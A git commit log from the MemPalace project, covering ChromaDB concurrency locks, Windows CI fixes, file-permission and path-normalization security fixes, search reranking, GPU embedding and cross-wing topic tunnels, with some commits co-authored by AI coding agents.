- `_pin_hnsw_threads` retrofits legacy collection (num_threads None -> 1)
- `_pin_hnsw_threads` swallows all errors (never raises)
- `ChromaBackend.get_collection(create=False)` applies retrofit on legacy palace
- 62 tests pass (10 backends + 6 palace locks + 46 hooks_cli)
2026-04-25 04:36:29 -03:00
Felipe TrumanandClaude Sonnet 4.6 40d7958ca1 test: remove attempt-cap tests obsoleted by develop's pass-through approach
PR #863 on develop eliminated precompact blocking entirely. After rebasing,
the attempt-cap tests (test_precompact_first_two_attempts_block,
test_precompact_passes_through_after_cap, test_precompact_counter_is_per_session)
would always fail because hook_precompact now mines synchronously and
passes through unconditionally. Remove them to keep the suite green.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-25 04:34:30 -03:00
Felipe Truman 1998aede66 fix: Windows CI compat for palace lock tests and path normalization
Addresses the two actionable Copilot comments from the 2nd review pass.

tests/test_palace_locks.py (#7, #8)
  multiprocessing.get_context("fork") is unavailable on Windows, so the
  cross-process tests would crash the Windows CI runner. Added
  `_get_mp_context()` that picks "spawn" on Windows and "fork" elsewhere.
  Spawn re-imports the module in the child; it inherits os.environ
  (including the monkeypatched HOME), which is all these tests need.

mempalace/palace.py (#10)
  The per-palace lock key was computed from os.path.abspath(palace_path).
  On Windows the filesystem is case-insensitive, so `C:\\Palace` and
  `c:\\palace` would hash to different keys and two concurrent mines
  could touch the same on-disk palace. Switched to
  `os.path.normcase(os.path.realpath(...))` so:
    * realpath resolves symlinks and `..` segments
    * normcase folds case on Windows (no-op on POSIX)

Testing
  pytest tests/test_palace_locks.py tests/test_hooks_cli.py
         tests/test_backends.py tests/test_cli.py
  → 98 passed, 0 failed.
2026-04-25 04:34:30 -03:00
Felipe Truman 99b820cb42 fix: address PR review — per-palace lock, MCP server path, hook timeout, tests
Addresses the six Copilot review comments on the initial commit.

1) #6 (critical) — mcp_server.py `_get_collection` bypassed ChromaBackend

   The MCP server creates its palace collection directly via
   `chromadb.PersistentClient.get_or_create_collection` in `_get_collection`,
   not through `ChromaBackend.get_collection`. That path was missing the
   `hnsw:num_threads=1` metadata, so the primary crash surface for #974
   and #965 was untouched by the original patch. Fixed by passing
   `hnsw:num_threads=1` at the mcp_server create site too. Documented
   in a code comment that the setting is only honored at creation
   time — existing palaces created before this fix still need a
   `mempalace nuke` + re-mine to gain the protection.

2) #3 — mine_global_lock over-serialized mines across unrelated palaces

   Replaced the single global lock file `mine_global.lock` with a
   per-palace lock keyed by `sha256(os.path.abspath(palace_path))`
   (`mine_palace_<hash>.lock`). Mines against the same palace still
   collapse to a single runner (the correctness boundary), but mines
   against *different* palaces are now free to run in parallel.
   `mine_global_lock` is kept as a backward-compatible alias for
   `mine_palace_lock` so any external callers that imported the
   previous name keep working.

3) #1 — hook_precompact swallowed OSError but not subprocess.TimeoutExpired

   `subprocess.run(..., timeout=60)` raises `TimeoutExpired` on slow
   palaces. The previous `except OSError` clause didn't catch it, so
   the hook could raise and fail to emit any JSON decision — leaving
   the harness without a block/passthrough signal. Fixed by catching
   `(OSError, subprocess.TimeoutExpired)` together and always falling
   through to the block decision so the hook reliably emits a response.

4) #2 + #4 — tests

   - tests/test_hooks_cli.py: added
     `test_precompact_first_two_attempts_block`,
     `test_precompact_passes_through_after_cap`, and
     `test_precompact_counter_is_per_session` to lock in the #955
     deadlock fix.
   - tests/test_palace_locks.py (new): covers `mine_palace_lock`
     single-acquire, reuse-after-release, cross-process serialization
     on the same palace, non-interference across different palaces,
     path normalization, and the `mine_global_lock` back-compat alias.

5) #5 — known limitation, documented but not auto-fixed

   Copilot suggested detecting collections missing `hnsw:num_threads=1`
   and calling `collection.modify(metadata=...)` to retrofit existing
   palaces. Verified against chromadb 1.5.7: `modify(metadata=...)`
   replaces metadata rather than merging, and re-passing
   `hnsw:space="cosine"` then raises `ValueError: Changing the
   distance function of a collection once it is created is not
   supported currently.` The HNSW runtime configuration
   (`configuration_json`) also does not expose `num_threads` in
   chromadb 1.5.x, so the flag appears to be read only at creation
   time. Rather than paper over the limitation with a best-effort
   `modify` that silently drops `hnsw:space`, documented in the
   mcp_server comment that pre-existing palaces need a
   `mempalace nuke` + re-mine to gain the protection. Fresh palaces
   are always protected.

Testing
- pytest tests/test_palace_locks.py tests/test_hooks_cli.py
  tests/test_backends.py tests/test_cli.py → **98 passed, 0 failed**.
- Runtime validation with two concurrent `mempalace mine` calls:
  - Different palaces → both complete in parallel ✓
  - Same palace     → one completes, the other exits with
    "another `mine` is already running against <palace> — exiting
    cleanly." ✓
2026-04-25 04:34:30 -03:00
Felipe TrumanandClaude Sonnet 4.6 7e18a70796 fix: resolve hooks_cli.py merge conflict + add mine_global_lock tests
- Resolve UU conflict in hooks_cli.py: take develop/HEAD approach
  (mine synchronously via _mine_sync, then pass through unconditionally).
  _mine_sync already catches subprocess.TimeoutExpired — fixes Copilot #1.
- Add tests/test_palace_locks.py: 4 tests covering mine_global_lock
  non-blocking semantics (acquire, second-acquire raises MineAlreadyRunning,
  reusable after release, release on exception) — fixes Copilot #4.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-25 04:34:30 -03:00
Igor Lins e Silva 91a60263e3 Merge pull request #1168 from arnoldwender/fix/security-tunnels-permissions
fix(security): restrict tunnels.json file permissions
2026-04-25 04:21:44 -03:00
Igor Lins e Silva 320aab31e3 Merge pull request #939 from mvalentsev/ci/pip-cache-and-python-bump
ci: add pip caching and bump Python on macOS/Windows
2026-04-25 04:12:57 -03:00
Igor Lins e Silva 5ed24ad061 Merge pull request #969 from MemPalace/dependabot/github_actions/actions/checkout-6
chore(deps): bump actions/checkout from 4 to 6
2026-04-25 04:04:37 -03:00
Igor Lins e Silva 036742e888 Merge pull request #968 from MemPalace/dependabot/github_actions/actions/upload-pages-artifact-5
chore(deps): bump actions/upload-pages-artifact from 3 to 5
2026-04-25 04:04:18 -03:00
Igor Lins e Silva 000acc1e33 Merge pull request #967 from MemPalace/dependabot/github_actions/actions/deploy-pages-5
chore(deps): bump actions/deploy-pages from 4 to 5
2026-04-25 04:03:58 -03:00
Igor Lins e Silva 9b7536a1f7 Merge pull request #1101 from wahajahmed010/fix/hooks-tutorial-1037
docs: fix HOOKS_TUTORIAL.md paths, matcher, and missing timeout (#1037)
2026-04-25 03:48:36 -03:00
Igor Lins e Silva 374fb5656b Merge pull request #1183 from MemPalace/feat/init-mine-ux
feat(cli): init prompts to mine, mine handles Ctrl-C gracefully (#1181, #1182)
2026-04-25 01:24:23 -03:00
Igor Lins e Silva c4eeec8642 test: use shlex.quote in resume-hint assertions for Windows
The pre-existing test_maybe_run_mine_prompt_declined_prints_hint
asserted the bare unquoted form `mempalace mine {tmp_path}`. After
the production code switched to shlex.quote on the resume hint, this
passed on Linux/macOS (POSIX paths have no characters that trigger
quoting) but failed on Windows where backslashes always get wrapped
in single quotes.

Mirror the production code in the assertion via shlex.quote so it's
portable across platforms; do the same for the two new
spaces-in-path tests for consistency.
2026-04-25 01:18:31 -03:00
Igor Lins e Silva 8faf0042b5 fix(cli,mine): shell-quote project_dir in resume hints
The "Skipped. Run mempalace mine <dir>" hint after declining the init
prompt and the "Re-run mempalace mine <dir> to resume" hint after a
Ctrl-C interruption both interpolated project_dir without shell-quoting.
A path containing spaces or metacharacters produced a copy-paste-broken
command.

Both spots now use shlex.quote(project_dir). Adds regression tests
covering each hint with a path that contains a space.
2026-04-25 01:10:17 -03:00
Igor Lins e Silva 23d534f8f3 fix(init): split --auto-mine from --yes; show file-count estimate before mine prompt
Reviewer feedback on the previous commit flagged two real problems:

1. Overloading --yes to also auto-mine was a silent behaviour change for
   scripted callers. Today --yes only auto-accepts entities — making it
   ALSO trigger a multi-minute ChromaDB write breaks every script that
   currently runs `mempalace init --yes <dir>` for the fast non-interactive
   entity path. Add a separate `--auto-mine` flag instead. Combinations:

     mempalace init --yes <dir>              # entities auto, STILL prompt mine
     mempalace init --auto-mine <dir>        # prompt entities, skip mine prompt
     mempalace init --yes --auto-mine <dir>  # fully non-interactive

   --yes behaviour is now identical to pre-PR.

2. The mine prompt was firing without telling the user how big the job
   was. On a real corpus mine takes minutes-to-tens-of-minutes; hitting
   Enter on default-Y with no size cue is a footgun. Show a one-line
   estimate computed from scan_project (the same walk we hand into mine)
   BEFORE the prompt:

     ~423 files (~12 MB) would be mined into this palace.
     Mine this directory now? [Y/n]

   The estimate uses a single corpus walk: scan_project's output is
   passed into mine() via a new optional files= kwarg, so we never walk
   the tree twice.

Tests: replaced the old "--yes auto-mines" assertion with a regression
guard that --yes alone STILL prompts; added coverage for --auto-mine
alone, --yes --auto-mine together, and the pre-prompt estimate line.
2026-04-25 01:02:09 -03:00
Igor Lins e Silva f13b9a46a2 feat(cli): init prompts to mine, mine handles Ctrl-C gracefully
`mempalace init` now ends with a `Mine this directory now? [Y/n]`
prompt and runs `mine()` in-process when accepted; `--yes` skips the
prompt and auto-mines for non-interactive callers. Declining prints
the resume command. Removes the "remember to type the next command"
friction since rooms + entities just got set up.

`mempalace mine` now wraps its main loop in `try / except
KeyboardInterrupt` and prints `files_processed`, `drawers_filed`, and
`last_file` before exiting with code 130 on Ctrl-C. Re-mining is safe
because deterministic drawer IDs make the upsert idempotent. The
hooks PID lock at `~/.mempalace/hook_state/mine.pid` is now actively
removed in a `finally` when its entry points at us, on clean exit,
error, or interrupt — preventing the next hook fire from briefly
waiting on a stale PID.

Closes #1181, #1182.
2026-04-25 01:01:24 -03:00
Igor Lins e Silva 91c1d159af Merge pull request #1179 from MemPalace/fix/search-metric-quality
fix(search): CLI hybrid rerank, legacy-metric warning, invariant tests (3.3.4)
2026-04-25 00:57:25 -03:00
Igor Lins e Silva ec5f4eba9d fix(test): use tmp_path for full-stack invariant test (Windows CI)
`test_fresh_palace_via_full_stack_gets_cosine` used `tempfile.Temporary-
Directory()` as a context manager, which tries to delete the temp path
on exit. On Windows, ChromaDB still holds SQLite file handles to
`chroma.sqlite3` when the context closes, producing:

    PermissionError: [WinError 32] The process cannot access the file
    because it is being used by another process: '...\\chroma.sqlite3'
    NotADirectoryError: [WinError 267] The directory name is invalid

Other tests in the same file use pytest's `tmp_path` fixture, which
defers cleanup to session end (when the process is exiting and the
file-lock contention is moot). Align this one with the rest of the
file.

CLAUDE.md already documents the 80% Windows coverage allowance due to
"ChromaDB file lock cleanup" — the fix is to stop fighting the lock.
2026-04-25 00:39:37 -03:00
Igor Lins e Silva 133dfbfb41 fix(search): BM25 hybrid rerank, legacy-metric warning, invariant tests
Three tightly-coupled search-quality fixes for v3.3.3:

1. CLI `mempalace search` now routes through the same `_hybrid_rank`
   the MCP path already used. Drawers whose text contains every query
   term but embed as file-tree noise (directory listings, diffs, log
   fragments) were scoring cosine distance >= 1.0 — the display formula
   `max(0, 1 - dist)` then floored every result to `Match: 0.0`, with
   no way for the user to tell a lexical match from a total miss. BM25
   catches these cleanly; the display surfaces both `cosine=` and
   `bm25=` so users see which component is firing.

2. Legacy-palace distance-metric warning. Palaces created before
   `hnsw:space=cosine` was consistently set silently use ChromaDB's
   default L2 metric, which breaks the cosine-similarity formula (L2
   distances routinely exceed 1.0 on normalized 384-dim vectors). The
   search path now detects this at query time and prints a one-line
   notice pointing at `mempalace repair`. Only fires for legacy
   palaces; new palaces already set cosine correctly.

3. Invariant tests pinning `hnsw:space=cosine` on every collection-
   creation path — legacy `get_or_create_collection`, legacy
   `create_collection`, RFC 001 `get_collection(create=True)`, the
   public `palace.get_collection`, and a round-trip through reopen.
   Locks down the correctness that new-user palaces already have so a
   future refactor can't silently regress it.

Also adds a `metadata` property to `ChromaCollection` so callers can
read the underlying hnsw:space without reaching into `_collection`.

Tests:
- New regression: simulate three candidates at distance 1.5 (cosine=0),
  one containing query terms — must rank first with non-zero bm25.
- New: legacy metric (empty or non-cosine) produces stderr warning.
- New: correctly-configured palace produces no warning.
- New: all five creation paths pin cosine metadata.

All existing tests still pass.
2026-04-25 00:39:37 -03:00
Igor Lins e Silva b9e41286fa Merge pull request #1189 from MemPalace/openarena-claim
chore: add OpenArena owner claim verification file
2026-04-24 23:27:49 -03:00
Igor Lins e Silva 8d49b009e0 Merge pull request #1184 from MemPalace/feat/cross-wing-topic-tunnels
feat(graph): cross-wing tunnels by shared topics (#1180)
2026-04-24 23:25:55 -03:00
Igor Lins e Silva 0197b2eea9 chore: add OpenArena owner claim verification file 2026-04-24 23:19:29 -03:00
Igor Lins e Silva 865a36bc5c feat(graph): namespace topic-tunnel rooms with "topic:" prefix + kind field
Previously a cross-wing topic tunnel for "Angular" stored the room as
"Angular" — colliding with a wing's literal folder-derived "Angular" room
at follow_tunnels/list_tunnels read time, and exposing raw topic strings
(which may contain characters rejected by sanitize_name) to the MCP
surface.

Topic tunnels now store their room as "topic:<original-casing>" and carry
kind="topic" on the stored dict. Explicit tunnels get kind="explicit"
(default). follow_tunnels("wing", "Angular") on a literal Angular room
no longer surfaces topic connections for the same name, and any LLM
scanning list_tunnels has a visible discriminator.
2026-04-24 23:06:26 -03:00
Igor Lins e Silva fe051adc73 feat(graph): cross-wing tunnels by shared topics (#1180)
When two wings have one or more confirmed TOPIC labels in common, the
miner now drops a symmetric tunnel between them at mine time so the
palace graph reflects shared themes (frameworks, vendors, recurring
concepts).

- llm_refine: TOPIC label routes to a dedicated `topics` bucket so the
  signal survives confirmation instead of getting collapsed into
  `uncertain` and dropped.
- entity_detector / project_scanner: bucket plumbed through the
  detection pipeline; `confirm_entities` returns confirmed topics
  alongside people/projects.
- miner.add_to_known_entities: optional `wing` parameter records the
  confirmed topics under `topics_by_wing` in
  `~/.mempalace/known_entities.json`. Wing names do NOT leak into the
  flat known-name set used by drawer-tagging.
- palace_graph: `compute_topic_tunnels` and `topic_tunnels_for_wing`
  create symmetric tunnels via the existing `create_tunnel` API so they
  share dedup and persistence with explicit tunnels.
- miner.mine: post-file-loop pass calls `topic_tunnels_for_wing` for
  the freshly-mined wing. Failures are logged but never abort the mine.
- config: `topic_tunnel_min_count` knob (env
  `MEMPALACE_TOPIC_TUNNEL_MIN_COUNT` or `~/.mempalace/config.json`),
  default 1.

Tests cover topic persistence through init->mine, tunnel creation when
wings share a topic, no tunnel below threshold, cross-wing tunnel
retrieval via `list_tunnels`, dedup on recompute, case-insensitive
overlap, and the end-to-end mine-time wiring.

Out of scope for this PR (called out in the PR body): manifest-
dependency overlap, per-topic allow/deny lists, search-result surfacing.
2026-04-24 23:06:26 -03:00
Igor Lins e Silva ed2ba726c9 Merge pull request #1185 from MemPalace/perf/batched-upsert-gpu
perf(mining): batch per-chunk upserts + optional GPU acceleration
2026-04-24 20:34:28 -03:00
copilot-swe-agent[bot]andigorls 031512438e test: isolate embedding module state with monkeypatch
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/3213a67a-6871-4bb2-9ae0-23fa11001a22

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 23:11:29 +00:00
copilot-swe-agent[bot]andigorls 3d529e7028 test: tidy embedding follow-up imports
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/3213a67a-6871-4bb2-9ae0-23fa11001a22

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 23:10:20 +00:00
copilot-swe-agent[bot]andigorls 9fbdba17ca test: isolate embedding device env override tests
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/3213a67a-6871-4bb2-9ae0-23fa11001a22

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 23:09:23 +00:00
copilot-swe-agent[bot]andigorls 25c885ae0b test: use tmp_path for embedding device config tests
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/3213a67a-6871-4bb2-9ae0-23fa11001a22

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 23:08:26 +00:00
copilot-swe-agent[bot]andigorls fbd0904799 test: cover embedding device fallback and bounded upserts
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/3213a67a-6871-4bb2-9ae0-23fa11001a22

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 23:06:50 +00:00
Igor Lins e Silva a4868a3589 perf(mining): batch per-chunk upserts and add optional GPU acceleration
The miner upserted one drawer per ChromaDB call, paying tokenizer +
ONNX session setup per chunk. The embedding device was CPU-only because
no EmbeddingFunction was ever wired through the backend.

Two changes, each a speedup in its own right; stacked they give ~10x
end-to-end on a medium corpus (20 files, 568 drawers):

1. Batched upsert. `process_file` and `_file_chunks_locked` now collect
   all chunks of a file into a single `collection.upsert(...)` so the
   embedding model runs one forward pass per file instead of N.

2. Hardware-accelerated embedding function. New `mempalace/embedding.py`
   wraps `ONNXMiniLM_L6_V2` with configurable `preferred_providers`.
   `MEMPALACE_EMBEDDING_DEVICE` (or `embedding_device` in config.json)
   selects auto / cpu / cuda / coreml / dml. Unavailable accelerators
   log a warning and fall back to CPU.

   The factory subclasses `ONNXMiniLM_L6_V2` and spoofs its `name()` to
   `"default"` so the persisted EF identity matches existing palaces
   created with ChromaDB's bare `DefaultEmbeddingFunction` -- same
   model, same 384-dim vectors, no rebuild needed when turning GPU on.

   `ChromaBackend.get_collection` / `create_collection` now pass the
   resolved EF on every call so miner writes and searcher reads agree.

Benchmarks (i9-12900KF + RTX 3090, medium scenario, 568 drawers):

  per-chunk + CPU   19.77s ·  29 drw/s   (baseline)
  batched   + CPU    8.07s ·  70 drw/s   (2.4x)
  batched   + CUDA   2.15s · 264 drw/s   (9.2x)

Reproducible via `benchmarks/mine_bench.py`.

Install paths:
  pip install mempalace[gpu]       # NVIDIA CUDA
  pip install mempalace[dml]       # DirectML (Windows)
  pip install mempalace[coreml]    # macOS Neural Engine

Mine header now prints `Device: cpu|cuda|...` so users can confirm the
accelerator engaged.
2026-04-24 19:42:35 -03:00
Arnold Wender 5fd09d3693 fix(security): restrict tunnels.json file permissions
~/.mempalace/tunnels.json (introduced in #790) was created via plain
open(..., "w") with no chmod, and its parent dir via os.makedirs()
without mode=0o700. On Linux with default umask 022 both end up
world-readable (0o644 / 0o755).

Tunnels reveal cross-wing connections — which projects, people, and
rooms the user has explicitly linked — so they are sensitive metadata
that should not be readable by other local users on shared systems.

Apply the same 0o700 / 0o600 pattern that #814 established for the
other sensitive palace files. Chmod calls are wrapped in try/except
(OSError, NotImplementedError) for Windows / unsupported-filesystem
compatibility.

Closes #1165
2026-04-24 22:57:34 +02:00
Igor Lins e Silva 94f168929a Merge pull request #1159 from MemPalace/develop
release: v3.3.3 — sync develop → main for tag cut
2026-04-24 14:56:33 -03:00
Igor Lins e Silva 7a757916b3 Merge pull request #1176 from MemPalace/docs/changelog-3.3.3-init-overhaul
docs(changelog): document init entity-detection overhaul in 3.3.3
2026-04-24 14:34:09 -03:00
Igor Lins e SilvaandCopilot 174ecaf42c Update CHANGELOG.md
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-04-24 14:33:51 -03:00
Igor Lins e Silva 431e42a720 docs(changelog): document init entity-detection overhaul in 3.3.3
Adds entries to the 3.3.3 section for the work that landed via #1148,
#1150, #1157, and #1175 (rescued from stacked feature branches into
develop via #1175). Without these entries the 3.3.3 release notes on
main would advertise only the hook/diary/search fixes that made it to
develop through the first direct merge.

Covers:
- Manifest + git-author entity detection (#1148)
- Regex detector accuracy improvements (#1148)
- Optional --llm classification with Ollama / openai-compat / Anthropic
  provider abstraction and interactive UX (#1150)
- Claude Code conversation scanner (#1150)
- Init → miner registry wire-up so confirmed entities actually reach
  drawer metadata tagging (#1157)
- Case-insensitive project dedup across all sources (#1175)
- `mempalace mine` skips the generated entities.json artifact
2026-04-24 14:25:13 -03:00
Igor Lins e Silva f246d25b7f Merge pull request #1166 from arnoldwender/fix/security-palace-path-env-normalize
fix(security): normalize MEMPALACE_PALACE_PATH env var with abspath+expanduser
2026-04-24 14:16:58 -03:00
Igor Lins e Silva 8a6ebbe363 Merge pull request #1175 from MemPalace/chore/rescue-stacked-prs-into-develop
chore: rescue merged stacked PRs #1150 and #1157 into develop
2026-04-24 14:14:50 -03:00
Igor Lins e Silva 55c83e9f3d fix(init): case-insensitive project dedup across manifest and convo sources
`discover_entities` was deduping the convo_scanner results against the
manifest/git scan with a case-sensitive key, while every other dedup
path in the pipeline (`_merge_detected`, `miner.add_to_known_entities`)
uses case-insensitive matching. A project named `foo` in a manifest
plus `Foo` as a Claude Code `cwd` variant would surface as two review
entries instead of collapsing to one.

Fix keys `by_name` by `name.lower()` while preserving the first-seen
casing, matching the rest of the pipeline. Flagged by Copilot on #1175.

Regression test asserts a manifest project + a CamelCase-variant convo
cwd for the same real project collapse to one entry.
2026-04-24 14:11:54 -03:00
Igor Lins e Silva 19ce58c143 chore: rescue merged stacked PRs #1150 and #1157 into develop
#1148, #1150, and #1157 were reviewed and merged on GitHub, but the two
stacked children landed on their parent feature branches (now stale)
rather than on develop. Only #1148's commits reached develop via the
direct merge. Release PR #1159 (develop → main for v3.3.3) is therefore
missing the LLM refinement, Claude-conversation scanner, and miner-
registry wire-up that were ostensibly part of the release.

This merge brings the stale `feat/llm-entity-refine` branch (which
contains the rolled-up merge commit for #1157 → #1150 → everything
below) into develop so the release tag includes it.

No code changes here — only history recovery.
2026-04-24 13:49:12 -03:00
Igor Lins e Silva 61d6c3cc3c Merge pull request #1157 from MemPalace/feat/wire-entities-to-miner
feat(init): wire confirmed entities into the miner's known-entities registry
2026-04-24 13:24:56 -03:00
Igor Lins e Silva a851c7a7df Merge pull request #1148 from MemPalace/feat/project-scanner-entity-detection
feat(init): scan manifests and git authors for real entity signal (v1)
2026-04-24 13:23:43 -03:00
Arnold Wender ae1c52e43b test(config): drop tilde-absence assertion for Windows 8.3 compatibility
Windows 8.3 short paths legitimately contain tildes (e.g. the CI runner's
USERPROFILE resolves to C:\Users\RUNNER~1\...), so asserting "~" is absent
from the expanded path fails on Windows even when expanduser worked
correctly. The equality check against os.path.abspath(os.path.expanduser())
is authoritative; drop the redundant absence heuristic.
2026-04-24 11:20:30 +02:00
Arnold Wender 02a88b0864 test(config): make palace_path tests portable across POSIX and Windows
The new abspath+expanduser normalization means /env/palace no longer
round-trips literally on Windows (abspath prepends the current drive,
producing D:\env\palace). Rewrite the env-var tests to compare against
os.path.abspath(os.path.expanduser(raw)) instead of hardcoded Unix
strings, and build raw paths with os.path.join so backslash-vs-slash
differences don't leak into assertions. Covers test_env_override, the
three new tests, and the legacy-alias test in test_config_extra.
2026-04-24 11:13:51 +02:00
Arnold Wender bcd07916a3 fix(security): normalize MEMPALACE_PALACE_PATH env var with abspath+expanduser
MEMPALACE_PALACE_PATH (and legacy MEMPAL_PALACE_PATH) read from the
environment was returned as-is from Config.palace_path, while the
sibling --palace CLI path gets os.path.abspath() applied at
mcp_server.py:62. That inconsistency means env-var callers can end
up with literal '~' or unresolved '..' segments in the path, which
(a) breaks user intuition and (b) lets a caller who can set env vars
on the target user's session redirect palace storage to an
unexpected location.

Apply os.path.abspath(os.path.expanduser(...)) to the env-var branch
so both code paths converge on the same resolved absolute path.

Closes #1163
2026-04-24 11:06:30 +02:00
Ben Sigman 8ac98f038c Merge pull request #1147 from MemPalace/fix/3.3.3-followups
fix(3.3.3): two followups from #1145 before tag cut
2026-04-24 00:07:12 -07:00
mvalentsev b291d2a240 ci: re-run to verify pip cache restore 2026-04-24 12:01:11 +05:00
mvalentsev e2444a190c ci: add pip caching and bump Python on macOS/Windows
Enable setup-python's built-in pip cache on all CI jobs to avoid
re-downloading ~300 MB of dependencies (chromadb, onnxruntime, hnswlib)
on every run.

Bump macOS and Windows from Python 3.9 to 3.11 -- Linux matrix already
covers 3.9 compatibility, and 3.11 is faster on these platforms.
2026-04-24 12:01:11 +05:00
copilot-swe-agent[bot]andigorls 1b1854e5ae fix(init): address registry review feedback
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/76794fde-2383-4674-ab36-f89ad803eeb2

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 05:25:34 +00:00
Igor Lins e Silva 4631d6a7db feat(init): wire confirmed entities into the miner's known-entities registry
The init step's output was a dead file. miner.py has always read
`~/.mempalace/known_entities.json` to tag drawer metadata with
recognized names, but nothing ever wrote it — so init's careful
manifest + git + LLM detection work stopped at `<project>/entities.json`
and never reached the path that actually uses it.

Measured delta on a representative prose snippet (eight sentences
mentioning six real people and four real projects):
- Empty registry: 0 entities recognized (multi-word names fail the
  frequency threshold; lowercase/hyphenated project names don't match
  the CamelCase regex).
- Registry populated by init: 12 entities recognized (all correct, zero
  false positives).

Every recognized name becomes a semicolon-separated metadata tag on the
drawer, which ChromaDB uses for entity-filtered search.

Implementation:

- `miner.add_to_known_entities({category: [names]})` reads the existing
  registry, unions each category (case-insensitively, preserving first-
  seen casing), and writes back. The function is tolerant of the two
  on-disk shapes miner already supports: list of names, or dict mapping
  name → code (dialect-style). In the dict case new names are added as
  keys with `None` values so existing codes aren't overwritten.
- Invalidates the in-process mtime cache so same-process callers
  (`cmd_init` → `cmd_mine` in one run) see the write immediately.
- Writes with `ensure_ascii=False` so non-ASCII names (Gergő Móricz,
  Arturo Domínguez, etc.) stay readable on disk.
- Chmods 0o600 — the registry mirrors confirm-step PII from the user's
  git authors and local paths.

cmd_init now calls this at the end of the confirm-entities step, after
the per-project `entities.json` is written (which is kept as an audit
trail the user can inspect or hand-edit). The per-project file is still
excluded from mining via `SKIP_FILENAMES` from the earlier fix.

17 new tests cover: fresh-file creation, list-category union, case-
insensitive dedup, preservation of untouched categories, dict-format
registries, malformed/non-dict file recovery, cache invalidation,
unicode round-trip, and an end-to-end verification that the miner's
`_extract_entities_for_metadata` picks up every registered name.
2026-04-24 02:09:32 -03:00
Igor Lins e Silva b150d33398 fix(mine): skip generated entities file 2026-04-24 01:42:19 -03:00
Igor Lins e Silva 035fe6d658 fix(llm): tighter refinement — word boundaries, JSON extraction, authoritative sources
Addresses issues found while reviewing the initial phase-2 implementation
against real data:

**Bug: uncertain bucket starved from the LLM.**
`discover_entities` was dropping the regex-uncertain bucket whenever real
git/manifest signal existed — which is exactly when `--llm` is most useful
for cleaning up prose noise. The uncertain candidates never reached the
refinement step. Fixed: only drop when `llm_provider is None`.

**Context collection: word boundaries, not substring.**
`_collect_contexts` used substring matching on lower-cased lines, so the
name "Go" matched "good", "going", "forgot". Switched to a
`(?<!\w)…(?!\w)` regex so short names only match at token boundaries.

**Authoritative-source detection replaces confidence threshold.**
Previously the refinement step skipped entries with `confidence >= 0.95`
to avoid second-guessing manifest-backed projects. That threshold was
fragile — the regex detector produces 0.99 confidence for things like
`code file reference (5x)` on framework names (OpenAPI, etc.), so those
skipped the LLM despite being regex-only noise. New helpers
`_is_authoritative_person` / `_is_authoritative_project` look at the
actual signal strings (commits, package.json, etc.) to decide.

**Now also refines regex-derived people.**
After #1148's high-pronoun-signal fix, the regex detector can promote
non-people to the `people` bucket (e.g. a capitalized common noun that
happened to appear near pronouns). The LLM now gets a chance to clean
those up, while git-authored people are still skipped.

**Robust JSON extraction.**
Small local models routinely wrap JSON output in prose ("Sure, here's
the classification: {…}"). The previous code-fence stripper failed on
that. `_extract_json_candidates` now does balanced-bracket extraction
with string-aware quote handling, so it recovers JSON from:
- raw responses
- markdown fenced blocks
- JSON embedded inside surrounding text
- multiple candidate objects/arrays

**Prompt guidance for frameworks vs user projects.**
Added an explicit instruction: frameworks, runtimes, APIs, cloud
services, and third-party vendors (Angular, OpenAPI, Terraform, Bun,
Google, etc.) are TOPIC unless the context clearly says it's the user's
own codebase. Directly addresses a false-positive pattern observed
during dev runs.

**Defensive mtime.**
`convo_scanner._safe_mtime` catches OSError during `stat()` — permission
changes, filesystem races, broken symlinks — and sorts the affected file
to the end of the newest-first order rather than crashing the scan.

**Cosmetic:** merged two adjacent f-strings on the same line in
`backends/chroma.py` and `llm_client.py` (no behaviour change).

15 new tests cover the OSError fallback, word-boundary matching, JSON
extraction variants, authoritative-source helpers, refining high-
confidence regex projects, and end-to-end LLM refinement preserving the
uncertain bucket.
2026-04-24 01:30:40 -03:00
shaun0927 659cb815ea fix(migrate): harden swap rollback against partial cross-device copy
shutil.move() can partially create palace_path before raising, which would
trip a bare os.replace(stale_path, palace_path) rollback (dest exists).

- Switch the primary swap to os.replace so same-filesystem moves stay atomic
- Branch on errno.EXDEV before falling back to shutil.move, so real errors
  (permissions, EIO) surface instead of silently attempting a slow copy
- Extract rollback into _restore_stale_palace which clears any partial
  destination and, if the restore itself fails, logs both stale_path and
  palace_path so the operator can recover by hand

Adds three regression tests covering clean rollback, partial-copy cleanup,
and logged failure on rollback-failure.

Flagged by the Qodo reviewer on #935.
2026-04-24 13:12:10 +09:00
copilot-swe-agent[bot]andigorls 9486d8b129 test(project-scanner): make gitdir fixtures portable
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/3c277c46-20b3-4a43-8eb7-8ee2eb3cb55a

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 03:53:43 +00:00
copilot-swe-agent[bot]andigorls d4cc367261 test(project-scanner): harden git helper execution
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/3c277c46-20b3-4a43-8eb7-8ee2eb3cb55a

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 03:52:37 +00:00
copilot-swe-agent[bot]andigorls ec9084f4d8 refactor(project-scanner): tidy manifest priority helpers
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/3c277c46-20b3-4a43-8eb7-8ee2eb3cb55a

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 03:51:21 +00:00
copilot-swe-agent[bot]andigorls 851ebebc29 test(project-scanner): tighten git helper env handling
